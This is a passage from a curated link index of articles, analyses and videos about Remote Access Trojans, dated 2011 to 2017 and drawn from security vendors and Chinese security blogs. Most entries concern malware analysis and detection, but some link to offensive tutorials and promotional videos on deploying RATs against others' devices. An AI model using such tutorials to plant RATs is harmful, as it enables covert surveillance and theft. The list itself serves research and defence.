RAT](https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html) - 2017.03 [TechnoHacker] [What's the difference between http botnets and RATs?](https://www.youtube.com/watch?v=G1J1xsZAASg) - 2017.03 [paloaltonetworks] [Trochilus and New MoonWind RATs Used In Attack Against Thai Orga](https://unit42.paloaltonetworks.com/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/) - 2017.03 [fireeye] [WMImplant – A WMI Based Agentless Post-Exploitation RAT Developed in PowerShell](https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html) - 2017.03 [4hou] [CIA事件余波：300多种思科交换机深受其毒，一个0day即可远程控制](http://www.4hou.com/info/news/3930.html) - 2017.03 [secist] [基于Python的远程管理工具（RAT） – Stitch](http://www.secist.com/archives/2965.html) - 2017.03 [trendmicro] [MajikPOS Combines PoS Malware and RATs to Pull Off its Malicious Tricks](https://blog.trendmicro.com/trendlabs-security-intelligence/majikpos-combines-pos-malware-and-rats/) - 2017.03 [4hou] [Proton RAT利用0day漏洞升级新变种，最低1200美元可出售](http://www.4hou.com/info/news/3846.html) - 2017.02 [UltraHacks] [SilentBytes RAT [beta] Windows 10 || PROMOTION ||](https://www.youtube.com/watch?v=JOvtLWFPaeY) - 2017.02 [UltraHacks] [SilentBytes RAT Linux Ubuntu || PROMOTION ||](https://www.youtube.com/watch?v=X0slzydICEg) - 2017.02 [UltraHacks] [SilentBytes RAT 1.1 [BETA] Mac OS X || PROMOTION ||](https://www.youtube.com/watch?v=GVdDkNrD0hU) - 2017.02 [lookout] [ViperRAT: The mobile APT targeting the Israeli Defense Force that should be on your radar](https://blog.lookout.com/viperrat-mobile-apt) - 2017.02 [talosintelligence] [Go RAT, Go! AthenaGo points “TorWords” Portugal](https://blog.talosintelligence.com/2017/02/athena-go.html) - 2017.02 [netskope] [Decoys, RATs, and the Cloud: The growing trend](https://www.netskope.com/blog/decoys-rats-cloud-the-growing-trend/) - 2017.01 [malwarebytes] [Mobile Menace Monday: AndroRAT Evolved](https://blog.malwarebytes.com/cybercrime/2017/01/mobile-menace-monday-androrat-evolved/) - 2017.01 [malwarebytes] [From a fake wallet to a Java RAT](https://blog.malwarebytes.com/cybercrime/2017/01/from-a-fake-wallet-to-a-java-rat/) - 2016.12 [TechnoHacker] [How to remotely execute a RAT on someone's PC](https://www.youtube.com/watch?v=5X9su6U8wyo) - 2016.12 [cyber] [The Kings In Your Castle Part 4 – Packers, Crypters and a Pack of RATs](https://cyber.wtf/2016/12/05/the-kings-in-your-castle-part-4-packers-crypters-and-a-pack-of-rats/) - 2016.11 [] [Linux远控分析](http://blogs.360.cn/360safe/2016/11/18/linuxremotecontrol/) - 2016.11 [] [Linux远控分析](http://blogs.360.cn/blog/linuxremotecontrol/) - 2016.11 [f] [A RAT For The US Presidential Elections](https://labsblog.f-secure.com/2016/11/10/a-rat-for-the-us-presidential-elections/) - 2016.11 [fidelissecurity] [Down the H-W0rm Hole with Houdini's RAT](https://www.fidelissecurity.com/threatgeek/2016/11/down-h-w0rm-hole-houdinis-rat) - 2016.11 [4hou] [托管在Pastebin上的RAT木马会导致系统蓝屏](http://www.4hou.com/info/news/1250.html) - 2016.10 [malwarebytes] [Get your RAT on Pastebin](https://blog.malwarebytes.com/cybercrime/2016/10/get-your-rat-on-pastebin/) - 2016.10 [8090] [华为P9手机指纹锁遭破解，远程控制插座发微博，智能产品的安全问题堪忧](http://www.8090-sec.com/archives/4475) - 2016.10 [sentinelone] [GovRAT is Not New](https://www.sentinelone.com/blog/govrat-remote-administration-tool-targets-us-government-employees/) - 2016.10 [UltraHacks] [[$25] Imment Monitor RAT setup](https://www.youtube.com/watch?v=TCDxayI8e2U) - 2016.09 [securelist] [TeamXRat: Brazilian cybercrime meets ransomware](https://securelist.com/teamxrat-brazilian-cybercrime-meets-ransomware/76153/) - 2016.09 [freebuf] [远控盗号木马伪装成850Game作恶](http://www.freebuf.com/articles/system/115194.html) - 2016.09 [jimwilbur] [DroidJack – A Quick Look at an Android RAT](https://www.wilbursecurity.com/2016/09/droidjack/) - 2016.09 [360] [远控盗号木马伪装成850Game作恶](https://www.anquanke.com/post/id/84619/) - 2016.09 [countercept] [Do you smell a rat?](https://countercept.com/blog/do-you-smell-a-rat/) - 2016.09 [countercept] [Do you smell a rat?](https://countercept.com/our-thinking/do-you-smell-a-rat/) - 2016.09 [freebuf] [You dirty RAT：地下网络犯罪世界的“黑吃黑”](http://www.freebuf.com/articles/system/113906.html) - 2016.08 [fortinet] [German Speakers Targeted by SPAM Leading to Ozone RAT](https://www.fortinet.com/blog/threat-research/german-speakers-targeted-by-spam-leading-to-ozone-rat.html) - 2016.08 [freebuf] [微信曝远程任意代码执行漏洞，可被远程控制](http://www.freebuf.com/news/112613.html) - 2016.08 [trustlook] [Trustlook Discovers a Remote Administration Tool (RAT) Android Malware](https://blog.trustlook.com/2016/08/22/trustlook-discovers-a-remote-administration-tool-rat-android-malware/) - 2016.08 [id] [XRat, Team, Corporacao](http://id-ransomware.blogspot.com/2016/08/team-xrat-ransomware.html) - 2016.08 [f] [NanHaiShu: RATing the South China Sea](https://labsblog.f-secure.com/2016/08/04/nanhaishu-rating-the-south-china-sea/) - 2016.07 [malwarenailed] [Luminosity RAT - Re-purposed](http://malwarenailed.blogspot.com/2016/07/luminosity-rat-re-purposed.html) - 2016.07 [360] [披合法外衣的远控木马——Game564深入分析](https://www.anquanke.com/post/id/84267/) - 2016.07 [fidelissecurity] [Chasing Down RATs with Barncat](https://www.fidelissecurity.com/threatgeek/2016/07/chasing-down-rats-barncat) - 2016.07 [n0where] [Python Remote Access Tool: Ares](https://n0where.net/python-remote-access-tool-ares) - 2016.07 [360] [H-WORM：简单而活跃的远控木马](https://www.anquanke.com/post/id/84132/) - 2016.06 [duo] [Protecting Remote Access to Your Computer: RDP Attacks and Server Credentials for Sale](https://duo.com/blog/protecting-remote-access-to-your-computer-rdp-attacks-and-server-credentials-for-sale) - 2016.06 [cybereason] [Permission to Execute: The Incident of the Signed and Verified RAT](https://www.cybereason.com/blog/permission-to-execute-the-incident-of-the-signed-and-verified-rat) - 2016.06 [8090] [一款用于定向攻击的JavaScript远控木马分析](http://www.8090-sec.com/archives/2682) - 2016.06 [hackingarticles] [HTTP RAT Tutorial for Beginners](http://www.hackingarticles.in/http-rat-tutorial-beginners/) - 2016.06 [avlsec] [假借知名应用植入恶意模块，披着羊皮的“狼”来了！WarThunder远程控制木马预警](http://blog.avlsec.com/2016/06/3298/warthundermalicewolf/) - 2016.06 [cysinfo] [Hunting APT RAT 9002 In Memory Using Volatility Plugin](https://cysinfo.com/hunting-apt-rat-9002-in-memory-using-volatility-plugin/) - 2016.06 [f] [Qarallax RAT: Spying On US Visa Applicants](https://labsblog.f-secure.com/2016/06/07/qarallax-rat-spying-on-us-visa-applicants/) - 2016.06 [qq] [远控木马利用Windows系统文件漏洞展开攻击](https://tav.qq.com/index/newsDetail/246.html) - 2016.06 [samvartaka] [Dead RATs: Exploiting malware C2 servers](http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware) - 2016.05 [freebuf] [深度：远控木马Posion Ivy开始肆虐缅甸和其它亚洲国家](http://www.freebuf.com/articles/paper/104819.html) - 2016.05 [trendmicro] [Lost Door RAT: Accessible, Customizable Attack Tool](https://blog.trendmicro.com/trendlabs-security-intelligence/lost-door-rat-accessible-customizable-attack-tool/) - 2016.04 [pentestpartners] [RATing through the Steam Workshop](https://www.pentestpartners.com/security-blog/rating-through-the-steam-workshop/) - 2016.04 [freebuf] [DameWare迷你远程遥控漏洞（CVE-2016-2345）：让你玩转远程控制器](http://www.freebuf.com/articles/terminal/102204.html) - 2016.04 [paloaltonetworks] [New Poison Ivy RAT Variant Targets Hong Kong Pro-Democracy](https://unit42.paloaltonetworks.com/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/) - 2016.04 [sentinelone] [Teaching an old RAT new tricks](https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/) - 2016.04 [itsjack] [RAT Threat Intelligence – A Very Simple Manual Technique](https://itsjack.cc/blog/2016/04/rat-threat-intelligence-a-very-simple-manual-technique/) - 2016.03 [TechnoHacker] [How to port forward for any program and how to setup a DNS for RATs](https://www.youtube.com/watch?v=4KMmuq0UuLQ) - 2016.03 [malwarebytes] [Latest Steam Malware Shows Signs of RAT Activity](https://blog.malwarebytes.com/cybercrime/2016/03/latest-steam-malware-shows-sign-of-rat-activity/) - 2016.03 [freebuf] [如何远程控制别人的无线鼠标：深度揭露mouseJack内幕](http://www.freebuf.com/vuls/100501.html) - 2016.03 [malwarebytes] [This Steam Scam is a Rat Race](https://blog.malwarebytes.com/cybercrime/2016/03/this-steam-scam-is-a-rat-race/) - 2016.03 [itsjack] [Imminent Monitor 4 RAT Analysis – Further Into The RAT](https://itsjack.cc/blog/2016/03/imminent-monitor-4-rat-analysis-further-into-the-rat/) - 2016.02 [TechnoHacker] [How to get rid of a RAT [Very in depth]](https://www.youtube.com/watch?v=dqnPIXc1JPQ) - 2016.02 [brindi] [Advanced Techniques for Detecting RAT Screen Control](http://brindi.si/g/elsewhere/advanced-techniques-for-detecting-rat-screen-control.html) - 2016.02 [mindedsecurity] [RAT WARS 2.0: Advanced Techniques for Detecting RAT Screen Control](http://blog.mindedsecurity.com/2016/02/rat-wars-20-advanced-techniques-for.html) - 2016.01 [fidelissecurity] [Introducing Hi-Zor RAT](https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat) - 2016.01 [alienvault] [Trochilus RAT: Invading your Sandbox](https://www.alienvault.com/blogs/security-essentials/trochilus-rat-invading-your-sandbox) - 2016.01 [itsjack] [Imminent Monitor 4 RAT Analysis – A Glance](https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/) - 2016.01 [freebuf] [“暗影大盗”远控木马分析报告](http://www.freebuf.com/articles/database/94054.html) - 2016.01 [] [Linux远控分析](http://blogs.360.cn/post/linuxremotecontrol.html) - 2016.01 [ensilo] [Cyber-Security in 120 Secs: 0-days, and a new RAT targeting APJ](https://blog.ensilo.com/cyber-security-in-120-secs-0-days-and-a-new-rat-targeting-apj) - 2016.01 [TechnoHacker] [How to use all of Xtreme RAT's features](https://www.youtube.com/watch?v=9eejCZQCmZo) - 2016.01 [freebuf] [一次对JSocket远控的分析](http://www.freebuf.com/articles/terminal/92108.html) - 2015.12 [paloaltonetworks] [BBSRAT Attacks Targeting Russian Organizations Linked to Roam](https://unit42.paloaltonetworks.com/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/) - 2015.12 [welivesecurity] [Europol makes 12 arrests in Remote Access Trojan crackdown](https://www.welivesecurity.com/2015/12/15/europol-makes-12-arrests-remote-access-trojan-crackdown/) - 2015.11 [360] [“大灰狼”远控木马幕后真凶深入挖掘](https://www.anquanke.com/post/id/83006/) - 2015.11 [cylance] [Cylance vs. GlassRAT](https://www.cylance.com/en_us/blog/cylanceprotect-vs-glassrat.html) - 2015.11 [rsa] [Detecting GlassRAT using Security Analytics and ECAT](https://community.rsa.com/community/products/netwitness/blog/2015/11/25/detecting-glassrat-using-security-analytics-and-ecat) - 2015.11 [freebuf] [KillerRat：埃及黑客开发针对Windows平台的新型RAT](http://www.freebuf.com/sectool/86094.html) - 2015.11 [freebuf] [BT天堂网站挂马事件后续：“大灰狼”远控木马分析及幕后真凶调查](http://www.freebuf.com/articles/web/84374.html) - 2015.11 [360] [“大灰狼”远控木马分析及幕后真凶调查](https://www.anquanke.com/post/id/82865/) - 2015.11 [freebuf] [黑市热卖杀器GovRAT：恶意软件数字签名平台](http://www.freebuf.com/news/84126.html) - 2015.11 [duo] [Criminals Leverage Remote Access to Patient Data Applications](https://duo.com/blog/criminals-leverage-remote-access-to-patient-data-applications) - 2015.11 [fidelissecurity] [A Stalker’s Best Friend: Inside JSocket’s Android Remote Access Tool Builder](https://www.fidelissecurity.com/threatgeek/2015/11/stalker%E2%80%99s-best-friend-inside-jsocket%E2%80%99s-android-remote-access-tool-builder) - 2015.10 [threatmetrix] [How Contextual Fraud Prevention Can Turn Banks into RAT (Remote Access Trojan) Catchers](https://www.threatmetrix.com/digital-identity-blog/fraud-prevention/remote-access-trojan-rat-catchers/) - 2015.10 [deepsec] [DeepSec Talk: Got RATs? Enter Barn Cat (OSint)](http://blog.deepsec.net/deepsec-talk-got-rats-enter-barn-cat-osint/) - 2015.10 [360] [另类远控：木马借道商业级远控软件的隐藏运行实现](https://www.anquanke.com/post/id/82748/) - 2015.10 [freebuf] [另类远控：木马借道商业级远控软件的隐藏运行实现](http://www.freebuf.com/articles/82240.html) - 2015.10 [hackingarticles] [Hack Android Devices using Omni RAT](http://www.hackingarticles.in/hack-android-devices-using-omni-rat/) - 2015.10 [duo] [Remote Access Trojan (RAT) Targets Windows Environments](https://duo.com/blog/remote-access-trojan-rat-targets-windows-environments) - 2015.09 [trustwave] [Quaverse RAT: Remote-Access-as-a-Service](https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT--Remote-Access-as-a-Service/) - 2015.09 [freebuf] [远程控制工具VNC拒绝服务漏洞分析](http://www.freebuf.com/sectool/79223.html) - 2015.09 [freebuf] [老式后门之美：五种复古远程控制工具（含下载）](http://www.freebuf.com/sectool/77740.html) - 2015.09 [kaspersky] [A layman’s dictionary: RAT](https://www.kaspersky.com/blog/a-laymans-dictionary-rat/4487/) - 2015.08 [sentinelone] [The 7 ‘Most Common’ RATS In Use Today](https://www.sentinelone.com/blog/the-7-most-common-rats-in-use-today/) - 2015.08 [rsa] [Detecting XtremeRAT variants using Security Analytics](https://community.rsa.com/community/products/netwitness/blog/2015/08/26/detecting-xtremerat-using-security-analytics) - 2015.08 [paloaltonetworks] [RTF Exploit Installs Italian RAT:](https://unit42.paloaltonetworks.com/rtf-exploit-installs-italian-rat-uwarrior/) - 2015.08 [fortinet] [The Curious Case Of The Document Exploiting An Unknown Vulnerability – Part 2: RATs, Hackers and Rihanna](https://www.fortinet.com/blog/threat-research/the-curious-case-of-the-document-exploiting-an-unknown-vulnerability-part-2-rats-hackers-and-rihanna.html) - 2015.08 [duo] [You Built a Better Mousetrap? They Built Better RATs](https://duo.com/blog/you-built-a-better-mousetrap-they-built-better-rats) - 2015.08 [alienvault] [FF-RAT Uses Stealth Tactics to Evade Endpoint Detection](https://www.alienvault.com/blogs/security-essentials/ff-rat-uses-stealth-tactics-to-evade-endpoint-detection) - 2015.08 [freebuf] [全程回放：黑客是如何远程控制切诺基汽车的？【FreeBuf视频】](http://www.freebuf.com/articles/terminal/73814.html) - 2015.08 [securityfuse] [Omni RAT which can turn your android phone into a hacking machine](http://blog.securityfuse.com/2015/08/omni-rat-which-can-turn-your-android.html) - 2015.07 [redcanary] [Red Canary vs. PoshRAT: Detection in the Absence of Malware](https://redcanary.com/blog/poshrat-detection/) - 2015.07 [freebuf] [格盘也没用：Hacking Team使用UEFI BIOS Rootkit将远控长驻操作系统](http://www.freebuf.com/news/72482.html) - 2015.07 [freebuf] [揭秘：Hacking Team远控窃听程序（RCS）的全球热销之路](http://www.freebuf.com/news/72423.html) - 2015.07 [] [简要分析Hacking Team远程控制系统](http://www.91ri.org/13463.html) - 2015.07 [freebuf] [简要分析Hacking Team远程控制系统](http://www.freebuf.com/articles/system/72138.html) - 2015.07 [bromium] [Government Grade Malware: a Look at HackingTeam’s RAT](https://blogs.bromium.com/government-grade-malware-a-look-at-hackingteams-rat/) - 2015.07 [nsfocus] [简要分析Hacking Team 远程控制系统](http://blog.nsfocus.net/hacking-team-rcs-report/) - 2015.07 [talosintelligence] [Ding! Your RAT has been delivered](https://blog.talosintelligence.com/2015/07/ding-your-rat-has-been-delivered.html) - 2015.06 [guidancesoftware] [The OPM Hack: I Smell a RAT](https://www.guidancesoftware.com/blog/security/2015/06/09/the-opm-hack-i-smell-rat) - 2015.05 [freebuf] [移花接木大法：新型“白利用”华晨远控木马分析](http://www.freebuf.com/articles/system/68469.html) - 2015.05 [securelist] [Grabit and the RATs](https://securelist.com/grabit-and-the-rats/70087/) - 2015.05 [] [移花接木大法：新型“白利用”华晨远控木马分析](http://blogs.360.cn/360safe/2015/05/27/white-used/) - 2015.05 [] [移花接木大法：新型“白利用”华晨远控木马分析](http://blogs.360.cn/blog/white-used/) - 2015.04 [freebuf] [控制指令高达二十多种：远控木马Dendoroid.B分析报告](http://www.freebuf.com/articles/terminal/65611.html) - 2015.04 [freebuf] [Adobe Flash播放器最新漏洞（CVE-2015-3044）：摄像头和麦克风可被远程控制（含视频）](http://www.freebuf.com/news/65294.html) - 2015.03 [freebuf] [剖析Smack技术远控木马](http://www.freebuf.com/articles/terminal/60840.html) - 2015.03 [avlsec] [Smack技术远控木马](http://blog.avlsec.com/2015/03/2193/smack-remote-control/) - 2015.03 [] [Smack技术远控木马工作分析文](http://www.91ri.org/12517.html) - 2015.02 [mcafee] [What is a Remote Administration Tool (RAT)?](https://securingtomorrow.mcafee.com/consumer/identity-protection/what-is-rat/) - 2015.01 [] [移花接木大法：新型“白利用”华晨远控木马分析](http://blogs.360.cn/post/white-used.html) - 2015.01 [trendmicro] [New RATs Emerge from Leaked Njw0rm Source Code](https://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/) - 2015.01 [freebuf] [CVE-2014-8272漏洞分析：戴尔（Dell）远程控制卡脆弱的Session-ID机制](http://www.freebuf.com/vuls/56770.html) - 2015.01 [] [远控木马Dendoroid.B分析报告](http://blogs.360.cn/post/analysis_of_dendoroid_b.html) - 2014.12 [sans] [Flushing out the Crypto Rats - Finding "Bad Encryption" on your Network](https://isc.sans.edu/forums/diary/Flushing+out+the+Crypto+Rats+Finding+Bad+Encryption+on+your+Network/19009/) - 2014.11 [checkpoint] [Mobile Security Weekly: Android mRATs, Paid Apps Hacked, Whatsapp Talks Privacy | Check Point Software Blog](https://blog.checkpoint.com/2014/11/21/mobile-security-weekly-android-mrats-paid-apps-hacked-whatsapp-talks-privacy/) - 2014.10 [freebuf] [对手机远程控制软件穿透硬件防火墙的分析和研究](http://www.freebuf.com/articles/network/49271.html) - 2014.10 [freebuf] [针对VBS远控木马的技术分析](http://www.freebuf.com/articles/web/48706.html) - 2014.10 [] [VBS远控木马](http://blogs.360.cn/360safe/2014/10/24/vbs_cc_trojan/) - 2014.10 [] [VBS远控木马](http://blogs.360.cn/blog/vbs_cc_trojan-2/) - 2014.10 [airbuscybersecurity] [LeoUncia and OrcaRat](http://blog.airbuscybersecurity.com/post/2014/10/LeoUncia-and-OrcaRat) - 2014.10 [] [“Xsser mRAT”首个X国高级IOS木马](http://www.91ri.org/11000.html) - 2014.10 [checkpoint] [Mobile Security Weekly - Lacoon Discovers the Xsser mRAT | Check Point Software Blog](https://blog.checkpoint.com/2014/10/03/mobile-security-weekly-lacoon-discovers-xsser-mrat/) - 2014.10 [lookout] [Just the facts: Xsser mRAT iOS malware](https://blog.lookout.com/xsser-mrat-ios) - 2014.09 [checkpoint] [Lacoon Discovers Xsser mRAT, the First Advanced iOS Trojan](https://blog.checkpoint.com/2014/09/30/lacoon-discovers-xsser-mrat-first-advanced-ios-trojan/) - 2014.09 [checkpoint] [Chinese Android mRAT Spyware Targets Hong Kong Protest](https://blog.checkpoint.com/2014/09/30/chinese-government-targets-hong-kong-protesters-android-mrat-spyware/) - 2014.09 [qq] [新型白利用（暴风）远控木马分析](https://tav.qq.com/index/newsDetail/162.html) - 2014.09 [comodo] [Warning! RATS Attacking Mobile Devices](https://blog.comodo.com/mobile-security/warning-rats-attacking-mobile-devices/) - 2014.09 [comodo] [Warning! RATS Attacking Mobile Devices](https://blog.comodo.com/warning-rats-attacking-mobile-devices/) - 2014.08 [] [远控木马伪造通信协议一例](http://blogs.360.cn/360safe/2014/08/29/cnc_trojan_and_fake_proto/) - 2014.08 [] [远控木马伪造通信协议一例](http://blogs.360.cn/blog/cnc_trojan_and_fake_proto/) - 2014.08 [freebuf] [下一代远程控制木马的思路探讨](http://www.freebuf.com/articles/system/41241.html) - 2014.08 [] [播放器暗藏远控木马 360独家提供查杀方案](http://blogs.360.cn/360safe/2014/08/15/trojan_in_media_player/) - 2014.08 [cert] [Android RAT malware spreading via torrents](https://www.cert.pl/en/news/single/android-rat-malware-spreading-via-torrents/) - 2014.08 [rsa] [Finding & Eradicating RATs](https://community.rsa.com/community/products/netwitness/blog/2014/08/07/finding-eradicating-rats) - 2014.08 [mcafee] [Android App SandroRAT Targets Polish Banking Users via Phishing Email](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/sandrorat-android-rat-targeting-polish-banking-users-via-e-mail-phishing/) - 2014.08 [mcafee] [Android App SandroRAT Targets Polish Banking Users via Phishing Email](https://securingtomorrow.mcafee.com/mcafee-labs/sandrorat-android-rat-targeting-polish-banking-users-via-e-mail-phishing/) - 2014.07 [bhconsulting] [Advanced Fee Fraud Now Plagued By RATs](http://bhconsulting.ie/advanced-fee-fraud-now-plagued-by-rats/) - 2014.07 [sans] [Keeping the RATs out: the trap is sprung - Part 3](https://isc.sans.edu/forums/diary/Keeping+the+RATs+out+the+trap+is+sprung+Part+3/18415/) - 2014.07 [sans] [Keeping the RATs out: **it happens - Part 2](https://isc.sans.edu/forums/diary/Keeping+the+RATs+out+it+happens+Part+2/18411/) - 2014.07 [sans] [Keeping the RATs out: an exercise in building IOCs - Part 1](https://isc.sans.edu/forums/diary/Keeping+the+RATs+out+an+exercise+in+building+IOCs+Part+1/18401/) - 2014.07 [freebuf] [揭秘：独特的技术手段，远程控制你的手机](http://www.freebuf.com/articles/terminal/38086.html) - 2014.06 [plcscan] [Havex Rat又一个针对ICS/SCADA系统的恶意软件](http://plcscan.org/blog/2014/06/havex-rat-malware-strikes-ics-scada/) - 2014.05 [malwarebytes] [A RAT in Bird’s clothing](https://blog.malwarebytes.com/cybercrime/2014/05/a-rat-in-birds-clothing/) - 2014.05 [avlsec] [捆绑包形式远控木马分析报告](http://blog.avlsec.com/2014/05/730/%e6%8d%86%e7%bb%91%e5%8c%85%e5%bd%a2%e5%bc%8f%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%ac%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/) - 2014.04 [trendmicro] [Old Java RAT Updates, Includes Litecoin Plugin](https://blog.trendmicro.com/trendlabs-security-intelligence/old-java-rat-updates-includes-litecoin-plugin/) - 2014.04 [avlsec] [Android短信指令远控木马Herta木马分析报告](http://blog.avlsec.com/2014/04/471/herta%e6%9c%a8%e9%a9%ac%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/) - 2014.02 [checkpoint] [The Spy in Your Pocket, Part 1: An Overview of Mobile Remote Access Trojans (mRATs) | Check Point Software Blog](https://blog.checkpoint.com/2014/02/10/the-spy-in-your-pocket-part-1-an-overview-of-mobile-remote-access-trojans-mrats/) - 2014.01 [] [远控木马伪造通信协议一例](http://blogs.360.cn/post/cnc_trojan_and_fake_proto.html) - 2014.01 [] [假冒淘宝远控木马](http://blogs.360.cn/post/fake-taobao-rat.html) - 2014.01 [] [VBS远控木马](http://blogs.360.cn/post/vbs_cc_trojan-2.html) - 2014.01 [] [Oldboot鬼影又现，另一例山寨手机中运用云端远控技术的木马](http://blogs.360.cn/post/analysis_of_oldboot_c.html) - 2014.01 [] [播放器暗藏远控木马 360独家提供查杀方案](http://blogs.360.cn/post/trojan_in_media_player.html) - 2014.01 [] [安卓远控木马黑色产业链渐成气候，谨防手机变“肉鸡”](http://blogs.360.cn/post/rat-trojan.html) - 2014.01 [] [国内首个利用JavaScript脚本远控木马的技术分析报告](http://blogs.360.cn/post/android-huigezi-trojan.html) - 2013.12 [pediy] [[原创]逆向笔记--某远控的隐藏技术](https://bbs.pediy.com/thread-182543.htm) - 2013.11 [sensepost] [RAT-a-tat-tat](https://sensepost.com/blog/2013/rat-a-tat-tat/) - 2013.11 [freebuf] [黑客可远程控制你的手机 – Android 4.4惊爆漏洞（含EXP）](http://www.freebuf.com/articles/wireless/16423.html) - 2013.10 [freebuf] [RAT终结者在APT中的演变复杂化](http://www.freebuf.com/articles/web/15791.html) - 2013.10 [trendmicro] [Dutch TorRAT Threat Actors Arrested](https://blog.trendmicro.com/trendlabs-security-intelligence/dutch-torrat-threat-actors-arrested/) - 2013.10 [privacy] [CuteCats.exe and the Arab Spring 2: Social Engineering and Remote Access Toolkits](http://privacy-pc.com/articles/cutecats-exe-and-the-arab-spring-2-social-engineering-and-remote-access-toolkits.html) - 2013.09 [comodo] [Super RATS? Comodo has Built a Better Mousetrap!](https://blog.comodo.com/malware/njrat-is-a-mobile-trojan-threatening-internet-security/) - 2013.09 [comodo] [Super RATS? Comodo has Built a Better Mousetrap!](https://blog.comodo.com/njrat-is-a-mobile-trojan-threatening-internet-security/) - 2013.09 [freebuf] [苹果新技术允许政府远程控制你的iPhone](http://www.freebuf.com/news/12194.html) - 2013.08 [pediy] [[开源兼求职]Web远程控制软件](https://bbs.pediy.com/thread-176838.htm) - 2013.07 [trendmicro] [Compromised Sites Conceal StealRat Botnet Operations](https://blog.trendmicro.com/trendlabs-security-intelligence/compromised-sites-conceal-stealrat-botnet-operations/) - 2013.07 [talosintelligence] [Androrat - Android Remote Access Tool](https://blog.talosintelligence.com/2013/07/androrat-android-remote-access-tool.html) - 2013.06 [freebuf] [Android远程控制工具——AndroRat](http://www.freebuf.com/sectool/10179.html) - 2013.04 [webroot] [A peek inside a (cracked) commercially available RAT (Remote Access Tool)](https://www.webroot.com/blog/2013/04/17/a-peek-inside-a-cracked-commercially-available-rat-remote-access-tool/) - 2013.04 [rapid7] [Weekly Update: Minecraft RAT Attacks, PHP Shell Games, and MongoDB](https://blog.rapid7.com/2013/04/04/weekly-update-24/) - 2013.04 [quequero] [McRat Malware Analysis – Part1](https://quequero.org/2013/04/mcrat-malware-analysis-part1/) - 2013.04 [webroot] [DIY Java-based RAT (Remote Access Tool) spotted in the wild](https://www.webroot.com/blog/2013/04/01/diy-java-based-rat-remote-access-tool-spotted-in-the-wild/) - 2013.02 [trendmicro] [BKDR_RARSTONE: New RAT to Watch Out For](https://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/) - 2013.01 [trendmicro] [Hiding in Plain Sight: The FAKEM Remote Access Trojan](https://blog.trendmicro.com/trendlabs-security-intelligence/hiding-in-plain-sight-the-fakem-remote-access-trojan/) - 2012.11 [trendmicro] [Tsunami Warning Leads to Arcom RAT](https://blog.trendmicro.com/trendlabs-security-intelligence/tsunami-warning-leads-to-arcom-rat/) - 2012.11 [trendmicro] [New Xtreme RAT Attacks US, Israel, and Other Foreign Governments](https://blog.trendmicro.com/trendlabs-security-intelligence/new-xtreme-rat-attacks-on-usisrael-and-other-foreign-governments/) - 2012.10 [forcepoint] [Iranian Firefighters' Website Compromised to Serve VertexNet RAT](https://www.forcepoint.com/blog/security-labs/iranian-firefighters-website-compromised-serve-vertexnet-rat) - 2012.10 [mcafee] [Tool Talk: Cracking the Code on XtremeRAT](https://securingtomorrow.mcafee.com/executive-perspectives/tool-talk-unleashing-validedge-on-xtremerat/) - 2012.10 [trendmicro] [Xtreme RAT Targets Israeli Government](https://blog.trendmicro.com/trendlabs-security-intelligence/xtreme-rat-targets-israeli-government/) - 2012.08 [forcepoint] [Nepalese government websites compromised to serve Zegost RAT](https://www.forcepoint.com/blog/security-labs/nepalese-government-websites-compromised-serve-zegost-rat) - 2012.08 [sans] [Digital Forensics Case Leads: Multi-plat RAT, No US Cybersecurity bill, Dropbox drops a doozie, Volatility everywhere](https://digital-forensics.sans.org/blog/2012/08/03/digital-forensics-case-leads-multi-plat-rat-no-us-cybersecurity-bill-dropbox-drops-a-doozie-volatility-everywhere) - 2012.07 [freebuf] [远程控制工具—RAIORemote](http://www.freebuf.com/sectool/5032.html) - 2012.07 [freebuf] [用Nmap脚本检测Poison Ivy Rat控制端](http://www.freebuf.com/sectool/4940.html) - 2012.07 [freebuf] [[原创]PoisonIvy Rat 远程溢出实战](http://www.freebuf.com/articles/4921.html) - 2012.06 [alienvault] [Capfire4 malware, RAT software and C&C service together](https://www.alienvault.com/blogs/labs-research/capfire4-malware-rat-software-and-cc-service-together) - 2012.06 [malwarebytes] [RATs of Unusual Sizes](https://blog.malwarebytes.com/threat-analysis/2012/06/rats-of-unusual-sizes/) - 2012.05 [welivesecurity] [Malware RATs can steal your data and your money, your privacy too](https://www.welivesecurity.com/2012/05/23/malware-rats-can-steal-your-data-and-your-money-your-privacy-too/) - 2012.05 [freebuf] [开源linux远程控制工具 – n00bRAT](http://www.freebuf.com/sectool/687.html) - 2012.03 [alienvault] [MS Office exploit that targets MacOS X seen in the wild - delivers "Mac Control" RAT](https://www.alienvault.com/blogs/labs-research/ms-office-exploit-that-targets-macos-x-seen-in-the-wild-delivers-mac-contro) - 2012.03 [trustwave] [Dirty RAT Eats Nate's Banana](https://www.trustwave.com/Resources/SpiderLabs-Blog/Dirty-RAT-Eats-Nate-s-Banana/) - 2011.09 [securitythinkingcap] [RAT Hacking Evidence fresh from the source](https://securitythinkingcap.com/rat-hacking-evidence-fresh-from-the-source/) - 2011.09 [trendmicro] [Online Storage—A Godsend for Sentimental Pack Rats (like me)](http://blog.trendmicro.com/online-storage-a-godsend-for-sentimental-pack-rats-like-me/) - 2011.09 [hackerhurricane] [(W)(I) Your GM OnStar enabled car will rat you out starting Dec 2011](http://hackerhurricane.blogspot.com/2011/09/wi-your-gm-onstar-enabled-car-will-rat.html) - 2011.08 [microsoft] [Weekly Roundup : Aug 12, 2011 : Dissecting a Shady 